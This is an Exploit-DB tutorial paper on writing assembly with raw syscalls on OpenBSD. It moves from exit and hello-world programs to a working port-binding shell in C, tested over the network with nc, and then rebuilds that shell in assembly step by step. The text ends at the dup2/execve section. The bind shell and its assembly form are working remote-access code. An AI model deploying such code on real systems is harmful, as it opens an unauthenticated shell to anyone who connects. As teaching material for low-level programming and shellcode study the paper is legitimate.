Writing Assembly on OpenBSD

EDB-ID:

13219

CVE:

N/A


Author:

lhall

Type:

papers


Platform:

Multiple

Date:

2006-04-08


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

|=-----------------------=[ Writing Assembly on OpenBSD ]=--------------------=|
|=----------------------------------------------------------------------------=|
|=-------------------------=[ lhall@telegenetic.net ]=------------------------=|


----[ Intro

I had never found a tutorial for writing asm on OpenBSD while I was learning so 
I decided to write this, now that I have written a bit of it. OpenBSD like FreeBSD
uses the C calling convention to execute its functions / syscalls. With the C 
calling convention what you have is the arguments pushed onto the stack and then 
a call <function>, with the call instruction pushing the return address of the 
instruction following it then jumping to the address of <function>. What this means 
for us, calling syscalls without the instruction `call` and without the use of libc,
is that we must push an extra long onto the stack to compensate for the return 
address, this value dosent matter but this must be done. So for what we need is the 
syscall number in eax, the arguments pushed onto the stack and an extra push long 
being done. Another thing we need to do is to tag our binary as an OpenBSD binary, 
we need to do this as the OpenBSD elf header section is linked in as part of the C 
runtime. This is accomplished by adding the following section:

.section ".note.openbsd.ident", "a"
        .p2align 2
        .long   8
        .long   4
        .long   1
        .ascii "OpenBSD\0"
        .long   0
        .p2align 2

A short side into whats going on here. If you check our man 5 elf you get:

     .note      This section holds information in the ``Note Section'' format
                described below.  This section is of type SHT_NOTE.  No
                attribute types are used.  OpenBSD native executables usually
                contain a .note.openbsd.ident section to identify themselves,
                for the kernel to bypass any compatibility ELF binary emula-
                tion tests when loading the file.

All ELF Note elements have the same basic structure:

	Name Size	4 bytes (integer)
	Desc Size	4 bytes (integer)
	Type		4 bytes (usually interpreted as an integer)
	Name		variable size, padded to a 4 byte boundary
	Desc		variable size, padded to a 4 byte boundary

The Name Size and Desc Size fields are integers (in the byte order specified by the 
binary's ELF header) which specify the size of the Name and Desc fields (excluding 
padding).

The Name field specifies the vendor who defined the format of the Note. Typically, 
vendors use names which are related to their project and/or company names. For 
instance, the GNU Project uses "GNU" as its name. No two vendors should use the same
ELF Note Name, lest there be confusion when trying to interpret the meanings of notes.

The Type field is vendor specific, but it is usually treated as an integer which 
identifies the type of the note.

The Desc field is vendor specific, and usually contains data which depends on the 
note type. 
  
Now that thats out of the way we start with a simple exit() syscall, we need its 
prototype and its syscall value.

entropy@theo {~/asm} man 2 _exit

[...snip...]

SYNOPSIS
     #include <unistd.h>

     void
     _exit(int status);

[...snip...]

exit() just takes the status we are exiting with.

entropy@theo {~/asm} nano /usr/src/sys/kern/syscalls.c

[...snip...]

char *syscallnames[] = {

        "exit",                 /* 1 = exit */

[...snip...]

Its syscall number is 1. With this info we can now write it, we'll put 1 into eax
pushl 0 (0 means sucessful), push the extra long and call the kernel.

entropy@theo {~/asm} cat exit.s

.section ".note.openbsd.ident", "a"
        .p2align 2
        .long   0x8
        .long   0x4
        .long   0x1
        .ascii "OpenBSD\0"
        .long   0x
        .p2align 2
.section .text
.globl _start
_start:
   xorl %eax, %eax  # set eax to 0
   pushl %eax       # pushl the return(status) value
   pushl %eax       # pushl the extra long
   movl  $1, %eax   # mov 1 into eax
   int $0x80        # call the kernel

Assemble and link.

entropy@theo {~/asm} as exit.s -o exit.o

entropy@theo {~/asm} ld exit.o -o exit

entropy@theo {~/asm} ./exit

entropy@theo {~/asm} echo $?
0

To view what the .note section asembles into, you can dump the headers with 
objdump and/or assemble with debugging symbols.

entropy@theo {~/asm} objdump -D exit

exit:     file format elf32-i386

Disassembly of section .text:

1c00014c <_start>:
1c00014c:       31 c0                   xor    %eax,%eax
1c00014e:       50                      push   %eax
1c00014f:       50                      push   %eax
1c000150:       b8 01 00 00 00          mov    $0x1,%eax
1c000155:       cd 80                   int    $0x80
Disassembly of section .note.openbsd.ident:

1c000134 <.note.openbsd.ident>:
1c000134:       08 00                   or     %al,(%eax)
1c000136:       00 00                   add    %al,(%eax)
1c000138:       04 00                   add    $0x0,%al
1c00013a:       00 00                   add    %al,(%eax)
1c00013c:       01 00                   add    %eax,(%eax)
1c00013e:       00 00                   add    %al,(%eax)
1c000140:       4f                      dec    %edi
1c000141:       70 65                   jo     1c0001a8 <_start+0x5c>
1c000143:       6e                      outsb  %ds:(%esi),(%dx)
1c000144:       42                      inc    %edx
1c000145:       53                      push   %ebx
1c000146:       44                      inc    %esp
1c000147:       00 00                   add    %al,(%eax)
1c000149:       00 00                   add    %al,(%eax)

entropy@theo {~/asm} as -gstabs exit.s -o exit.o

entropy@theo {~/asm} ld exit.o -o exit

entropy@theo {~/asm} gdb exit

entropy@theo {~/asm} gdb exit
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-openbsd3.7"...

Disassemble the .note section.

(gdb) disas 0x1c000134 0x1c000149
Dump of assembler code from 0x1c000134 to 0x1c000149:
0x1c000134:     or     %al,(%eax)
0x1c000136:     add    %al,(%eax)
0x1c000138:     add    $0x0,%al
0x1c00013a:     add    %al,(%eax)
0x1c00013c:     add    %eax,(%eax)
0x1c00013e:     add    %al,(%eax)
0x1c000140:     dec    %edi
0x1c000141:     jo     0x1c0001a8
0x1c000143:     outsb  %ds:(%esi),(%dx)
0x1c000144:     inc    %edx
0x1c000145:     push   %ebx
0x1c000146:     inc    %esp
0x1c000147:     add    %al,(%eax)
End of assembler dump.

Disassemble the .text section.

(gdb) disas 0x1c00014c 0x1c000155
Dump of assembler code from 0x1c00014c to 0x1c000155:
0x1c00014c <_start+0>:  xor    %eax,%eax
0x1c00014e <_start+2>:  push   %eax
0x1c00014f <_start+3>:  push   %eax
0x1c000150 <_start+4>:  mov    $0x1,%eax
End of assembler dump.

***Note: We can execute bin's without the use of the .note section if we brand the 
file using olf2elf, what this does is re-write a bit of the elf header by changing:

ELF:
0000000 457f 464c 0101 0001 0000 0000 0000 0000

to

OLF:
0000000 4f7f 464c 0101 0101 0100 0000 0000 0000

We can go through and manually do this, try with no note section in the exit prog.

entropy@theo {~/asm} cat exit_elf2olf.s

.section .text
.globl _start
_start:
   xorl %eax, %eax  # set eax to 0
   pushl %eax       # pushl the return(status) value
   pushl %eax       # pushl the extra long
   movl  $1, %eax   # mov 1 into eax
   int $0x80        # call the kernel

Assemble and link.

entropy@theo {~/asm} as exit_elf2olf.s -o exit_elf2olf.o

entropy@theo {~/asm} ld exit_elf2olf.o -o exit_elf2olf

Check the first file with `file` to see it branded and OpenBSD binary. 

entropy@theo {~/asm} file exit
exit: ELF 32-bit LSB executable, Intel 80386, version 1, for OpenBSD, statically 
linked, not stripped

Now notice the second one missing the OpenBSD branding.

entropy@theo {~/asm} file exit_elf2olf
exit_elf2olf: ELF 32-bit LSB executable, Intel 80386, version 1, statically linked, 
not stripped

Execute will fail.

entropy@theo {~/asm} ./exit_elf2olf

-bash: ./exit_elf2olf: Operation not permitted

Hexedit the file to be an OLF binary.

entropy@theo {~/asm} hexedit exit_elf2olf

Change the first line from:

00000000   7F 45 4C 46  01 01 01 00  00 00 00 00  00 00 00 00  .ELF............

to:

00000000   7F 4F 4C 46  01 01 01 01  01 00 00 00  00 00 00 00  .OLF............

Save and exit (CTRL+X, Y).

entropy@theo {~/asm} file exit_elf2olf

exit_elf2olf: OLF 32-bit OpenBSD dynamically linked LSB executable, Intel 80386, 
version 1, statically linked, not stripped

Execute.

entropy@theo {~/asm} ./exit_elf2olf

Works.

entropy@theo {~/asm} echo $?
0

***End Note.

Onto "Hello World", for this we'll need the write() prototype and syscall number, 
we already have the exit().

entropy@theo {~/asm} man 2 write

[...snip...]

SYNOPSIS
     #include <sys/types.h>
     #include <unistd.h>

     ssize_t
     write(int d, const void *buf, size_t nbytes);

[...snip...]

entropy@theo {~/asm} nano /usr/src/sys/kern/syscalls.c

[...snip...]

       "write",                        /* 4 = write */

[...snip...]

Function parameters are pushed from right to left, so we need to push the number 
of bytes to write, the address of our string, and the file descriptor to write too 
(we use stdout(1)). Looks easy enough.

entropy@theo {~/asm} cat hello.s

.section ".note.openbsd.ident", "a"
   .p2align 2
   .long   0x8
   .long   0x4
   .long   0x1
   .ascii "OpenBSD\0"
   .long   0x
   .p2align 2

.section .data
hello:
   .ascii "Hello, World!\n\0"

.section .text
.globl _start
_start:
   pushl $14      # number of bytes to write
   pushl $hello   # address of our string
   pushl $1       # 1 is stdout
   pushl %eax     # push the extra long
   movl $4, %eax  # 4 is write syscall
   int $0x80      # call the kernel
   addl $12, %esp # clean the stack - add ((# of pushl's)-1)*4 to esp
   xor %eax, %eax # set eax to 0
   pushl %eax     # pushl return (status value)
   pushl %eax     # pushl extra long
   movl $1, %eax  # 1 is exit syscall
   int $0x80      # call the kernel
 
Assemble, link and execute.

entropy@theo {~/asm} as hello.s -o hello.o

entropy@theo {~/asm} ld hello.o -o hello

entropy@theo {~/asm} ./hello
Hello, World!

We got the basics down now so lets try something more complex, say a port binding 
shell. For this we'll start with the normal port binding code in C so we can easily 
read it, pull out all the values from the includes, get the values of the defines 
then finally write the assembly.

Normal port binding code minus the error checking.

entropy@theo {~/asm} cat portbind.c

#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>

#define STDIN 0
#define STDOUT 1
#define STDERR 2
#define PORT 6666

int
main (void) {
        char *shell[2];
        int listenSocket, acceptSocket, len;
        struct sockaddr_in s;
        /* create a tcp socket */
        listenSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        /* address family */
        s.sin_family = AF_INET;
        /* bind to all address on box */
        s.sin_addr.s_addr = htonl(INADDR_ANY);
        /* listen on the port */
        s.sin_port = htons(PORT);
        /* bind to port */
        bind(listenSocket, (struct sockaddr *)&s, sizeof(s));
        /* listen for connects */
        listen(listenSocket, 1);
        len = sizeof(s);
        /* accept a connect on listenign socket */
        acceptSocket = accept(listenSocket, (struct sockaddr *)&s, &len);
        /* dup stdin, out and err to the newly created socket */
        dup2(acceptSocket, STDIN);
        dup2(acceptSocket, STDOUT);
        dup2(acceptSocket, STDERR);
        /* char **shell */
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        /* exec the shell */
        execve(shell[0], shell, NULL);
        /* never reach here, well hopefully */
        exit(0);
}

Compile and run.

entropy@theo {~/asm} gcc portbind.c -o portbind

entropy@theo {~/asm} ./portbind &
[1] 18547

entropy@theo {~/asm} netstat -na | grep LIST
tcp        0      0  *.6666                 *.*                    LISTEN
tcp        0      0  127.0.0.1.587          *.*                    LISTEN
tcp        0      0  127.0.0.1.25           *.*                    LISTEN
tcp6       0      0  ::1.587                *.*                    LISTEN
tcp6       0      0  ::1.25                 *.*                    LISTEN

entropy@theo {~/asm} uname -a
OpenBSD theo.telegenetic.net 3.7 GENERIC.MP#0 i386

And test it out on another host to make sure it works.

entropy@redcell {~} perl -e '$|++;while (<>){print . "\n\x00";}'|nc theo 6666
uname -a
OpenBSD theo.telegenetic.net 3.7 GENERIC.MP#0 i386
id
uid=1000(entropy) gid=1000(entropy) groups=1000(entropy), 0(wheel)
whoami
entropy
exit

That works. We need the \n newline and \x00 null because we have no controlling
terminal to append these to the strings we type.

We need to get rid of as much of our include as possible and know the values for
everything we are using. Lets go through and find out as much as possible (syscalls 
we dont have to get rid of) check out what a struct sockaddr_in is defined as.

entropy@theo {~} cat /usr/include/netinet/in.h

/*
 * IP Version 4 socket address.
 */
struct sockaddr_in {
        u_int8_t    sin_len;
        sa_family_t sin_family;
        in_port_t   sin_port;
        struct      in_addr sin_addr;
        int8_t      sin_zero[8];
};

And we need the struct in_addr (defined same file):

/*
 * IP Version 4 Internet address (a structure for historical reasons)
 */
struct in_addr {
        in_addr_t s_addr;
};

And finally the types for sa_family_t, in_addr_t and in_port_t :

entropy@theo {~} cat /usr/include/sys/types.h

typedef u_int32_t       in_addr_t;      /* base type for internet address */
typedef u_int16_t       in_port_t;      /* IP port type */
typedef u_int8_t        sa_family_t;    /* sockaddr address family type */

So to put this all together we have:

struct sockaddr_in {
        u_int8_t    sin_len;      /* 1 byte */
        u_int8_t    sin_family;   /* 1 byte */
        u_int16_t   sin_port;     /* 2 bytes */
        u_int32_t   sin_addr;     /* 4 bytes */
        int8_t      sin_zero[8];  /* 8 bytes */
};

Now we know sizeof(sockaddr_in) is 16 bytes. Let get the values of PF_INET, 
SOCK_STREAM, IPPROTO_TCP, AF_INET and INADDR_ANY.

entropy@theo {~/asm} nano /usr/include/sys/socket.h

#define PF_INET         AF_INET

Its a define for AF_INET which is:

#define AF_INET         2               /* internetwork: UDP, TCP, etc. */

SOCK_STREAM:
#define SOCK_STREAM     1               /* stream socket */

entropy@theo {~/asm} nano /usr/include/netinet/in.h

#define IPPROTO_TCP             6               /* tcp */

INADDR_ANY:
#define INADDR_ANY              __IPADDR(0x00000000)

So we have:
PF_INET = 2
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_TCP = 6
INADDR_ANY = 0

The htons (host to network short) just converts the byte order to big-endian so
just do that manually:

entropy@theo {~/asm} printf "0x%x\n" 6666
0x1a0a
entropy@theo {~/asm} printf "%d\n" 0x0a1a
2586

And of course STDIN is 0, STDOUT is 1 and STDERR is 2.

With this info we can rewrite the portbind.c with our new info, we need these for 
our asm as we wont have any includes and will be calling syscalls directlly.

entropy@theo {~/asm} cat portbind2.c

#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

struct sockaddr_in {
        u_int8_t    sin_len;      /* 1 byte */
        u_int8_t    sin_family;   /* 1 byte */
        u_int16_t   sin_port;     /* 2 bytes */
        u_int32_t   sin_addr;     /* 4 bytes */
        int8_t      sin_zero[8];  /* 8 bytes */
};

int
main (void) {
        char *shell[2];
        int listenSocket, acceptSocket, len;
        struct sockaddr_in s;
        /* create a tcp socket */
        listenSocket = socket(2, 1, 6);
        /* address family */
        s.sin_family = 2;
        /* bind to all address on box */
        s.sin_addr = 0;
        /* listen on the port */
        s.sin_port = 2586;
        /* bind to port */
        bind(listenSocket, (struct sockaddr *)&s, 16);
        /* listen for connects */
        listen(listenSocket, 1);
        len = 16;
        /* accept a connect on listenign socket */
        acceptSocket = accept(listenSocket, (struct sockaddr *)&s, &len);
        /* dup stdin, out and err to the newly created socket */
        dup2(acceptSocket, 0);
        dup2(acceptSocket, 1);
        dup2(acceptSocket, 2);
        /* char **shell */
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        /* exec the shell */
        execve(shell[0], shell, NULL);
        /* never reach here, well hopefully */
        exit(0);
}

Compile and test it.

entropy@theo {~/asm} gcc portbind2.c -o portbind2

entropy@theo {~/asm} ./portbind2 &
[1] 18453

entropy@theo {~/asm} netstat -na | grep LIST
tcp        0      0  *.6666                 *.*                    LISTEN
tcp        0      0  127.0.0.1.587          *.*                    LISTEN
tcp        0      0  127.0.0.1.25           *.*                    LISTEN
tcp6       0      0  ::1.587                *.*                    LISTEN
tcp6       0      0  ::1.25                 *.*                    LISTEN


And test from another host.

entropy@redcell {~} perl -e '$|++;while (<>) { print . "\n\x00"; }' |nc theo 6666
uname -a
OpenBSD theo.telegenetic.net 3.7 GENERIC.MP#0 i386
whoami
entropy
id
uid=1000(entropy) gid=1000(entropy) groups=1000(entropy), 0(wheel)
exit

Works. Lets get all the syscall numbers we need, which are socket(), bind(),
listen(), accept(), dup2(), execve() and exit().

entropy@theo {~/asm} nano /usr/src/sys/kern/syscalls.c

"socket",               /* 97 = socket */
"bind",                 /* 104 = bind */
"listen",               /* 106 = listen */
"accept",               /* 30 = accept */
"dup2",                 /* 90 = dup2 */
"execve",               /* 59 = execve */
"exit",                 /* 1 = exit */

Now we need their prototypes (man 2 <syscall>):

    int
    socket(int domain, int type, int protocol);

    int
    bind(int s, const struct sockaddr *name, socklen_t namelen);

    int
    listen(int s, int backlog);

    int
    accept(int s, struct sockaddr *addr, socklen_t *addrlen);

    int
    dup2(int oldd, int newd);

    int
    execve(const char *path, char *const argv[], char *const envp[]);

    void
    _exit(int status);

At this point we have everything we need to start coding, we'll go in pieces.


---[ socket()

entropy@theo {~/asm} cat portbind.s
.section ".note.openbsd.ident", "a"
        .p2align 2
        .long   0x8
        .long   0x4
        .long   0x1
        .ascii "OpenBSD\0"
        .long   0x
        .p2align 2

.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .data
s:
sin_len:
   .byte 0
sin_family:
   .byte 0
sin_port:
   .word 0
sin_addr:
   .long 0
sin_zero:
   .long 0,0,0,0,0,0,0,0
sock:
   .long 0

.section .text
.globl _start
_start:
   nop                     # so we can break with gdb, remove later
   xor %eax, %eax          # set eax to 0
   pushl $IPPROTO_TCP      # pushl the proto
   pushl $SOCK_STREAM      # pushl sock_stream
   pushl $PF_INET          # pushl protocol family
   pushl %eax              # pushl extra long
   movl $SYS_SOCKET, %eax  # syscall number sys_socket(97) into eax
   int $KERN               # call the kernel
   addl $12, %esp          # clean stack (# of pushl's-1)*4
   movl %eax, sock         # save the socket file descriptor

   xorl %eax, %eax         # set eax to 0
   pushl %eax              # pushl the return(status) value
   pushl %eax              # pushl the extra long
   movl  $1, %eax          # mov 1 into eax
   int $0x80               # call the kernel


Assemble with debugging while were writing it.

entropy@theo {~/asm} as -gstabs portbind.s -o portbind.o

entropy@theo {~/asm} ld portbind.o -o portbind

Trace it to see the syscall's...

entropy@theo {~/asm} ktrace ./portbind

entropy@theo {~/asm} kdump
   437 ktrace   RET   ktrace 0
   437 ktrace   CALL  execve(0xcfbf746f,0xcfbf7324,0xcfbf732c)
   437 ktrace   NAMI  "./portbind"
   437 portbind EMUL  "native"
   437 portbind RET   execve 0
   437 portbind CALL  socket(0x2,0x1,0x6)
   437 portbind RET   socket 3
   437 portbind CALL  exit(0)

We can see that socket is being called with the correct paramerters and is returning 
the value for the socket file descriptor which is what we want. We must make sure 
though that socket() is returning the value into eax as not all *BSD syscalls return 
into eax.

entropy@theo {~/asm} gdb portbind
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-openbsd3.7"...
(gdb) break *_start+1
Breakpoint 1 at 0x1c00014d: file portbind.s, line 48.
(gdb) run
Starting program: /home/entropy/asm/portbind

Breakpoint 1, _start () at portbind.s:48
48         xor %eax, %eax          # set eax to 0
Current language:  auto; currently asm
(gdb) step
_start () at portbind.s:49
49         pushl $IPPROTO_TCP      # pushl the proto
(gdb)
_start () at portbind.s:50
50         pushl $SOCK_STREAM      # pushl sock_stream
(gdb)
_start () at portbind.s:51
51         pushl $PF_INET          # pushl protocol family
(gdb)
_start () at portbind.s:52
52         pushl %eax              # pushl extra long
(gdb)
_start () at portbind.s:53
53         movl $SYS_SOCKET, %eax  # syscall number sys_socket(97) into eax
(gdb)
_start () at portbind.s:54
54         int $KERN               # call the kernel
(gdb)
_start () at portbind.s:56
56         movl %eax, sock         # save the socket file descriptor
(gdb)
_start () at portbind.s:58
58         xorl %eax, %eax         # set eax to 0

Check eax for the return value to make sure its good( > 0).

(gdb) print $eax
$1 = 7

Check sock.

(gdb) x/d &sock
0x3c000028 <sock>:      7
(gdb) c
Continuing.

Program exited normally.

Everything looks good, lets move on adding in the bind() call.


---[ bind()

entropy@theo {~/asm} cat portbind.s
.section ".note.openbsd.ident", "a"
        .p2align 2
        .long   0x8
        .long   0x4
        .long   0x1
        .ascii "OpenBSD\0"
        .long   0x
        .p2align 2

.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586

.section .data
sockaddr_in:
sin_len:
   .byte 0
sin_family:
   .byte 0
sin_port:
   .word 0
sin_addr:
   .long 0
sin_zero:
   .long 0,0,0,0,0,0,0,0
sock:
   .long 0

.section .text
.globl _start
_start:
   nop                        # so we can break with gdb, remove later
   xor %eax, %eax             # set eax to 0
   pushl $IPPROTO_TCP         # pushl the proto
   pushl $SOCK_STREAM         # pushl sock_stream
   pushl $PF_INET             # pushl protocol family
   pushl %eax                 # pushl extra long
   movl $SYS_SOCKET, %eax     # syscall number sys_socket(97) into eax
   int $KERN                  # call the kernel
   addl $12, %esp             # clean stack (# of pushl's-1)*4
   movl %eax, sock            # save the socket file descriptor

   movl $AF_INET, sin_family  # movl address family value into sin_family
   movl $INADDR_ANY, sin_addr # movl inaddr_any to sin_addr
   movl $PORT, sin_port       # movl port into sin_port

   pushl $SOCKADDR_IN_SIZE    # pushl the size of the struct
   pushl $sockaddr_in         # pushl the address of the struct
   pushl sock                 # pushl our sock we recieved from socket
   pushl %eax                 # pushl the extra long
   movl $SYS_BIND, %eax       # syscall number sys_bind(104) into eax
   int $KERN                  # call the kernel
   addl $12, %esp             # clean stack (# of pushl's-1)*4

   xorl %eax, %eax            # set eax to 0
   pushl %eax                 # pushl the return(status) value
   pushl %eax                 # pushl the extra long
   movl  $1, %eax             # mov 1 into eax
   int $0x80                  # call the kernel


entropy@theo {~/asm} as -gstabs portbind.s -o portbind.o

entropy@theo {~/asm} ld portbind.o -o portbind

entropy@theo {~/asm} ktrace ./portbind

entropy@theo {~/asm} kdump
 19191 ktrace   RET   ktrace 0
 19191 ktrace   CALL  execve(0xcfbfce4b,0xcfbfcd00,0xcfbfcd08)
 19191 ktrace   NAMI  "./portbind"
 19191 portbind EMUL  "native"
 19191 portbind RET   execve 0
 19191 portbind CALL  socket(0x2,0x1,0x6)
 19191 portbind RET   socket 3
 19191 portbind CALL  bind(0x3,0x3c000000,0x10)
 19191 portbind RET   bind 0
 19191 portbind CALL  exit(0)


---[ listen()

entropy@theo {~/asm} cat portbind.s
.section ".note.openbsd.ident", "a"
        .p2align 2
        .long   0x8
        .long   0x4
        .long   0x1
        .ascii "OpenBSD\0"
        .long   0x
        .p2align 2

.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586

.section .data
sockaddr_in:
sin_len:
   .byte 0
sin_family:
   .byte 0
sin_port:
   .word 0
sin_addr:
   .long 0
sin_zero:
   .long 0,0,0,0,0,0,0,0
sock:
   .long 0

.section .text
.globl _start
_start:
   nop                        # so we can break with gdb, remove later
   xor %eax, %eax             # set eax to 0
   pushl $IPPROTO_TCP         # pushl the proto
   pushl $SOCK_STREAM         # pushl sock_stream
   pushl $PF_INET             # pushl protocol family
   pushl %eax                 # pushl extra long
   movl $SYS_SOCKET, %eax     # syscall number sys_socket(97) into eax
   int $KERN                  # call the kernel
   addl $12, %esp             # clean stack (# of pushl's-1)*4
   movl %eax, sock            # save the socket file descriptor

   movl $AF_INET, sin_family  # movl address family value into sin_family
   movl $INADDR_ANY, sin_addr # movl inaddr_any to sin_addr
   movl $PORT, sin_port       # movl port into sin_port

   pushl $SOCKADDR_IN_SIZE    # pushl the size of the struct
   pushl $sockaddr_in         # pushl the address of the struct
   pushl sock                 # pushl our sock we recieved from socket
   pushl %eax                 # pushl the extra long
   movl $SYS_BIND, %eax       # syscall number sys_bind(104) into eax
   int $KERN                  # call the kernel
   addl $12, %esp             # clean stack (# of pushl's-1)*4

   pushl $1                   # pushl backlog (amount of connections)
   pushl sock                 # push our sock
   pushl %eax                 # pushl the extra long
   movl $SYS_LISTEN, %eax     # syscall number sys_listen(106) into eax
   int $KERN                  # call the kernel
   addl $8, %esp              # clean stack (# of pushl's-1)*4

   xorl %eax, %eax            # set eax to 0
   pushl %eax                 # pushl the return(status) value
   pushl %eax                 # pushl the extra long
   movl  $1, %eax             # mov 1 into eax
   int $0x80                  # call the kernel

entropy@theo {~/asm} as -gstabs portbind.s -o portbind.o

entropy@theo {~/asm} ld portbind.o -o portbind

entropy@theo {~/asm} ktrace ./portbind

entropy@theo {~/asm} kdump
 21863 ktrace   RET   ktrace 0
 21863 ktrace   CALL  execve(0xcfbf7cd7,0xcfbf7b8c,0xcfbf7b94)
 21863 ktrace   NAMI  "./portbind"
 21863 portbind EMUL  "native"
 21863 portbind RET   execve 0
 21863 portbind CALL  socket(0x2,0x1,0x6)
 21863 portbind RET   socket 3
 21863 portbind CALL  bind(0x3,0x3c000000,0x10)
 21863 portbind RET   bind 0
 21863 portbind CALL  listen(0x3,0x1)
 21863 portbind RET   listen 0
 21863 portbind CALL  exit(0)


---[ accept()

entropy@theo {~/asm} cat portbind.s
.section ".note.openbsd.ident", "a"
        .p2align 2
        .long   0x8
        .long   0x4
        .long   0x1
        .ascii "OpenBSD\0"
        .long   0x
        .p2align 2

.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586

.section .data
sockaddr_in:
sin_len:
   .byte 0
sin_family:
   .byte 0
sin_port:
   .word 0
sin_addr:
   .long 0
sin_zero:
   .long 0,0,0,0,0,0,0,0
sock:
   .long 0
socklen:
   .long 0

.section .text
.globl _start
_start:
   nop                          # so we can break with gdb, remove later
   xor %eax, %eax               # set eax to 0
   pushl $IPPROTO_TCP           # pushl the proto
   pushl $SOCK_STREAM           # pushl sock_stream
   pushl $PF_INET               # pushl protocol family
   pushl %eax                   # pushl extra long
   movl $SYS_SOCKET, %eax       # syscall number sys_socket(97) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4
   movl %eax, sock              # save the socket file descriptor

   movl $AF_INET, sin_family    # movl address family value into sin_family
   movl $INADDR_ANY, sin_addr   # movl inaddr_any to sin_addr
   movl $PORT, sin_port         # movl port into sin_port

   pushl $SOCKADDR_IN_SIZE      # pushl the size of the struct
   pushl $sockaddr_in           # pushl the address of the struct
   pushl sock                   # pushl our sock we recieved from socket
   pushl %eax                   # pushl the extra long
   movl $SYS_BIND, %eax         # syscall number sys_bind(104) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4

   pushl $1                     # pushl backlog (amount of connections)
   pushl sock                   # push our sock
   pushl %eax                   # pushl the extra long
   movl $SYS_LISTEN, %eax       # syscall number sys_listen(106) into eax
   int $KERN                    # call the kernel
   addl $8, %esp                # clean stack (# of pushl's-1)*4

   movl $SOCKADDR_IN_SIZE, socklen # put the length into socklen
   pushl $socklen               # pushl the address of the length
   pushl $sockaddr_in           # pushl the address of the struct
   pushl sock                   # pushl our sock we recieved from socket
   pushl %eax                   # pushl the extra long
   movl $SYS_ACCEPT, %eax       # syscall number sys_accept(30) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4

   xorl %eax, %eax              # set eax to 0
   pushl %eax                   # pushl the return(status) value
   pushl %eax                   # pushl the extra long
   movl  $1, %eax               # mov 1 into eax
   int $0x80                    # call the kernel

When we assemble and run it now it _should_be listening and wont go right to exit, so 
run it in the background and check if it is listening.

entropy@theo {~/asm} as -gstabs portbind.s -o portbind.o

entropy@theo {~/asm} ld portbind.o -o portbind

entropy@theo {~/asm} ./portbind &

[1] 4414

entropy@theo {~/asm} netstat -na | grep LIST

tcp        0      0  *.6666                 *.*                    LISTEN
tcp        0      0  127.0.0.1.587          *.*                    LISTEN
tcp        0      0  127.0.0.1.25           *.*                    LISTEN
tcp6       0      0  ::1.587                *.*                    LISTEN
tcp6       0      0  ::1.25                 *.*                    LISTEN

Yep almost done.


---[ dup2() and execve()

entropy@theo {~/asm} cat portbind.s
.section ".note.openbsd.ident", "a"
        .p2align 2
        .long   0x8
        .long   0x4
        .long   0x1
        .ascii "OpenBSD\0"
        .long   0x
        .p2align 2

.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586

